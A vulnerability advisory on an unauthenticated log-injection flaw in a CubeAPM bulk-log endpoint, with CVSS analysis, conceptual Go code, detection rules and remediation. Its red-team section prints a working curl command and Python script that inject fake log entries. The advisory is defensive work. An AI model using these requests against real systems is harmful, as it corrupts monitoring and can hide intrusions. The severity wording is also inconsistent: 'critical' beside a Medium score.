CVE-2025-57564

Executive Summary

CVE-2025-57564 is a critical security advisory affecting CubeAPM nightly-2025-08-01-1, an open-source observability platform. The vulnerability resides in the /api/logs/insert/elasticsearch/_bulk endpoint, which allows unauthenticated remote attackers to inject arbitrary log entries into production systems. This flaw stems from a Missing Authentication (CWE-862) and lack of input validation, enabling log poisoning, alert obfuscation, and potential performance degradation of the observability pipeline. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the impact on log integrity and system reliability is significant. No public exploit code or patch is available at this time.

Supply Chain & Package Security

CubeAPM is a Go-based application distributed via GitHub releases and Docker images. The vulnerability affects the core platform, not a specific package manager (NPM, PyPI, Ruby). However, organizations using CubeAPM in their observability stack should treat this as a supply chain risk, as compromised log data can cascade into false alerts, corrupted dashboards, and degraded monitoring.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – affects only the vulnerable component.
• Confidentiality Impact: None (C:N) – no data exfiltration.
• Integrity Impact: Low (I:L) – log data can be falsified.
• Availability Impact: Low (A:L) – potential performance degradation.

Threat Level: Medium. While the CVSS score is moderate, the ability to inject arbitrary logs can undermine trust in monitoring systems, leading to delayed incident response and false positives.

Deep Dive & Mechanics

The vulnerability exists in the /api/logs/insert/elasticsearch/_bulk endpoint, which is designed to accept bulk log data in Elasticsearch-compatible format. The endpoint lacks authentication checks and input validation, allowing any remote attacker to send crafted HTTP POST requests with arbitrary log entries.

Root Cause:

• Missing Authentication: The endpoint does not verify the identity of the requester.
• No Input Validation: The endpoint accepts any data without sanitizing or validating the log structure.

Attack Flow:

1. Attacker identifies a CubeAPM instance (e.g., via Shodan or network scanning).
2. Attacker sends a POST request to /api/logs/insert/elasticsearch/_bulk with a payload containing malicious log entries.
3. The CubeAPM server processes the request and inserts the logs into the backend (e.g., Elasticsearch).
4. The injected logs appear in dashboards, alerts, and reports, potentially misleading operators.

Impact:

• Log Poisoning: False log entries can hide real attacks or create noise.
• Alert Obfuscation: Attackers can trigger false alerts to distract from actual breaches.
• Performance Degradation: Large volumes of injected logs can overwhelm the pipeline, causing slowdowns or crashes.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the handler for /api/logs/insert/elasticsearch/_bulk. A patched version would require:

• Authentication middleware (e.g., API key or JWT validation).
• Input validation (e.g., limit log size, validate structure, reject malformed data).

Vulnerable Code (Conceptual):

func handleBulkLogs(w http.ResponseWriter, r *http.Request) {
    // No authentication check
    body, _ := ioutil.ReadAll(r.Body)
    // Directly forward to Elasticsearch
    esClient.Bulk(body)
}

Patched Code (Conceptual):

func handleBulkLogs(w http.ResponseWriter, r *http.Request) {
    // Authentication check
    if !authenticateRequest(r) {
        http.Error(w, "Unauthorized", http.StatusUnauthorized)
        return
    }
    // Input validation
    body, _ := ioutil.ReadAll(r.Body)
    if !validateLogFormat(body) {
        http.Error(w, "Invalid log format", http.StatusBadRequest)
        return
    }
    esClient.Bulk(body)
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target CubeAPM instance (e.g., http://target:8080).
• No authentication required.

Exploit Steps:

1. Craft a malicious bulk log payload in Elasticsearch format.
2. Send a POST request to the vulnerable endpoint.

Example Payload:

{ "index": { "_index": "logs" } }
{ "message": "Fake log entry", "severity": "critical", "timestamp": "2025-08-01T00:00:00Z" }

Exploit Command (using curl):

curl -X POST http://target:8080/api/logs/insert/elasticsearch/_bulk \
  -H "Content-Type: application/json" \
  -d '{ "index": { "_index": "logs" } }
{ "message": "Fake log entry", "severity": "critical", "timestamp": "2025-08-01T00:00:00Z" }'

Automated Script (Python):

import requests

target = "http://target:8080"
payload = '{ "index": { "_index": "logs" } }\n{ "message": "Fake log entry", "severity": "critical", "timestamp": "2025-08-01T00:00:00Z" }'
response = requests.post(f"{target}/api/logs/insert/elasticsearch/_bulk", data=payload)
print(f"Status: {response.status_code}")

Blue Team (Detection & Defense)

Detection:

• Monitor for POST requests to /api/logs/insert/elasticsearch/_bulk from untrusted IPs.
• Alert on high volume of log entries from a single source.
• Use the Sigma rule below to detect suspicious bulk log injections.

Defense:

• Implement authentication for all API endpoints.
• Apply rate limiting to the /api/logs/insert/elasticsearch/_bulk endpoint.
• Validate log structure and reject malformed entries.
• Use a Web Application Firewall (WAF) to block unauthorized requests.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /api/logs/insert/elasticsearch/_bulk from external IPs.
  • Unusual log entries with mismatched timestamps or fake severity levels.
• Logs:
  • Sudden spikes in log volume from a single source.
  • Log entries containing suspicious patterns (e.g., "Fake log entry", "test").
• System:
  • High CPU/memory usage on CubeAPM server due to log processing.

Detection Engineering

YARA Rule

rule CVE_2025_57564_LogInjection {
    meta:
        description = "Detects log injection attempts targeting CubeAPM bulk endpoint"
        author = "Valters IT"
        date = "2025-08-01"
        reference = "CVE-2025-57564"
    strings:
        $endpoint = "/api/logs/insert/elasticsearch/_bulk"
        $log_pattern = /{ "index": { "_index": "logs" } }/
    condition:
        $endpoint and $log_pattern
}

Sigma Rule

title: CubeAPM Unauthenticated Log Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to CubeAPM bulk log endpoint
author: Valters IT
date: 2025/08/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/logs/insert/elasticsearch/_bulk'
    condition: selection
falsepositives:
    - Legitimate internal monitoring tools
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-57564 CubeAPM Unauthenticated Log Injection"; flow:to_server; content:"POST"; http_method; content:"/api/logs/insert/elasticsearch/_bulk"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint if not required, or restrict access via firewall rules.
2. Implement authentication (e.g., API keys, JWT) for all API endpoints.
3. Apply rate limiting to prevent bulk injection attacks.
4. Monitor logs for suspicious activity using the provided detection rules.

Long-Term Fix:

• Wait for an official patch from CubeAPM. Until then, consider using a reverse proxy (e.g., Nginx) to add authentication and validation.

Workaround:

• Use a WAF to block requests to /api/logs/insert/elasticsearch/_bulk from untrusted sources.

Valters IT